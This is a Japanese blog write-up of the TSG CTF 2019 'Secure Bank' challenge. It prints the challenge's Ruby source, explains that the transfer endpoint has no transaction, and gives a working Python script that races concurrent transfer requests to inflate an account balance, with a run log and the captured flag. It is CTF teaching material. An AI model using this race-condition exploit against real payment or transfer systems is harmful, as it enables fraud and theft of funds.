こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

TSG CTF 2019 Writeup - Secure Bank

Question

I came up with more secure technique to store user list.
Even if a cracker could dump it, now it should be of little value!!!
http://34.85.75.40:19292/

ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 
仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。
http://34.85.75.40:19292/

Difficulty estimate: Easy

f:id:graneed:20190504225955p:plain

Solution

アカウントを作成してログインすると以下の画面。

f:id:graneed:20190504230630p:plain

別アカウント名を指定して送金できるようだ。

一旦、トップに戻ってsourceリンクからソースコードを確認する。

require 'digest/sha1'
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

STRETCH = 1000
LIMIT   = 1000

class App < Sinatra::Base
  DB = SQLite3::Database.new 'data/db.sqlite3'
  DB.execute <<-SQL
    CREATE TABLE IF NOT EXISTS account (
      user TEXT PRIMARY KEY,
      pass TEXT,
      balance INTEGER
    );
  SQL

  use Rack::PostBodyContentTypeParser
  enable :sessions

  def err(code, message)
    [code, json({message: message})]
  end

  not_found do
    redirect '/index.html', 302
  end

  get '/source' do
    content_type :text

    IO.binread __FILE__
  end

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

  post '/api/balance' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user)
    row = res.next
    res.close

    return err(401, 'login first') unless row

    json({balance: row[0]})
  end

  post '/api/register' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    sleep 1

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    begin
      DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass
    rescue SQLite3::ConstraintException
      return err(422, 'the username has already been taken')
    end

    return 200
  end

  post '/api/login' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass
    row = res.next
    res.close

    return err(401, 'username and password did not match') unless row

    session[:user] = user
    return 200
  end

  post '/api/logout' do
    session[:user] = nil
    return 200
  end

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end
end

以下のことがわかる。

  • balanceが10,000,000,000を超えたらflagをゲットできる。
  • usernameとpasswordに対してSHA1のハッシュ計算を1000回かけてからDBに保存している。
  • APIは以下の6種類。
    • /api/flag ・・・flag取得
    • /api/balance・・・balanceの確認
    • /api/register・・・アカウント登録
    • /api/login・・・ログイン
    • /api/logout・・・ログアウト
    • /api/transfer・・・送金

/api/transferを眺めると、いわゆるトランザクション処理が無いことに気付く。
よって、複数の送金処理を同時に実行し、「DBからbalanceの取得および減算/加算」と「減算/加算後のUPDATE」の実行順序を前後させることで、送金後のアカウントのbalanceを、送金前のbalanceの値で上書きできそうだ。

アカウントをA、B、Cの3つを用意し、
リクエスト1:A→Bに1だけ送金
リクエスト2:B→Cに全額送金
の処理を同時にリクエストする。その際、以下の処理順序になれば成功。

  1. リクエスト1:アカウントAとBのbalanceをDBから取得し、減算/加算。
  2. リクエスト2:アカウントBとCのbalanceをDBから取得し、減算/加算。
  3. リクエスト2:アカウントBとCのbalanceをDBに反映。アカウントBのbalanceは0になる。
  4. リクエスト1:アカウントAとBのbalanceをDBに反映。アカウントBのbalanceは元のbalanceから1増えた値になる。

この処理を自動化するスクリプトは以下のとおり。
requestsを並列で実行するために、以下の記事を参考にした。
pod.hatenablog.com

import requests
import json
import asyncio

# 3つのアカウントのセッション情報をあらかじめ用意
session_keep='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWNiMTJkNmE0NmRlZmJjYjMxYzZi%0ANTQ3NTI4Mzc3ZGQxODQyYTY5MTVmNGVkOTViNzY4Mjg4YTlmZmM3ZGU3OWQG%0AOwBGSSIJY3NyZgY7AEZJIjF6S0VZM0JWT0ltTDF2SlJvbjAvYVFvVnRWdDRF%0ATUsrb0VIVEdIMGJzcWs0PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIMa2VlcG1hbgY7AFQ%3D%0A--f662dd8c27209302d22e70fc637d10234d1844b7'
session_transfer='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRTY2NGEwMTRlYzZjOGIwYWEyZDlj%0ANzdjMTEzZjliYzA3Zjk4MGVjYTIwYjRlYjA3MDUzNDVlNDlhNDAwNmM1OGIG%0AOwBGSSIJY3NyZgY7AEZJIjFmUkh1dmVOdmhpNWlvd3FZcWtpdXdURzJuMnNP%0AcG5sWEM1YWpQcEo2bE1RPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIQdHJhbnNmZXJtYW4GOwBU%0A--a3e861b4da652c0fcbb68be5405ce39915ed80ca'
session_rich='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWZmMGJmNmYzM2Q0Y2VlYjk1NDI3%0AOTVkMzEyNDJhYzAxNDFlMjA0NTFmMWYwMzFjOTIxZjRlMWQyMmNmNzA3NDQG%0AOwBGSSIJY3NyZgY7AEZJIjFxazQzZUtya1g3eTN4dk16cHFuS2dGVkFkdUpj%0AVjRjWlR3REpLUzFXZkJjPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1hMWYzODY1Yjk4MGRiYjBiNDdkYTAwYzJlZGEw%0ANzFkZWQ4ODE4NzBiBjsARkkiCXVzZXIGOwBGSSIOa2FuZW1vY2hpBjsAVA%3D%3D%0A--ff7c567d7d318aa01d18398d0cafdc8bad29cee2'

balanceurl = "http://34.85.75.40:19292/api/balance"
url = "http://34.85.75.40:19292/api/transfer"

def prepare():
    '''
    r = requests.post(
        url,
        data=json.dumps({
            'target':'keepman',
            'amount':'10'
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    '''

    r = requests.post(
        balanceurl,
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    data = r.json()
    ammount = str(data["balance"])

    r = requests.post(
        url,
        data=json.dumps({
            'target':'transferman',
            'amount':ammount
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    print(r.text)

    r = requests.post(
        balanceurl,
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_transfer
        }
    )
    data = r.json()
    ammount = str(data["balance"])
    return ammount

def keep():
    r = requests.post(
        url,
        data=json.dumps({
            'target':'transferman',
            'amount':'1'
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_keep
        }
    )
    print(r.text)

def transfer(ammount):
    r = requests.post(
        url,
        data=json.dumps({
            'target':'kanemochi',
            'amount':ammount
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_transfer
        }
    )
    print(r.text)

async def run(loop, ammount):
    async def run_req_keep():
        return await loop.run_in_executor(None, keep)
    async def run_req_transfer(ammount):
        return await loop.run_in_executor(None, transfer, ammount)

    tasks = []
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_transfer(ammount))
    return await asyncio.gather(*tasks)

for i in range(1000):
    ammount = prepare()
    loop = asyncio.get_event_loop()
    loop.run_until_complete(run(loop, ammount))

あとはガチャの世界。
実行すると、処理順序が前後する度にbalanceが倍々になっていく。

実行ログ例

{"amount":1,"balance":258}
{"amount":1,"balance":256}
{"amount":1,"balance":257}
{"amount":46331405,"balance":1}
{"amount":1,"balance":259}
{"amount":46331405,"balance":0}
{"amount":1,"balance":254}
{"amount":1,"balance":252}
{"amount":1,"balance":253}
{"amount":92662811,"balance":2}
{"amount":1,"balance":255}
{"amount":92662811,"balance":0}

途中、接続エラーに何度かなるが、粘り強く実行していると、10,000,000,000を超える。

f:id:graneed:20190504225909p:plain

フラグゲット
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}

あれ?想定解と違った?

おまけ

自分が着手する前にDiscordで以下のアナウンスがあり、少々ビビりながら実行した。

f:id:graneed:20190505130021p:plain

f:id:graneed:20190505130041p:plain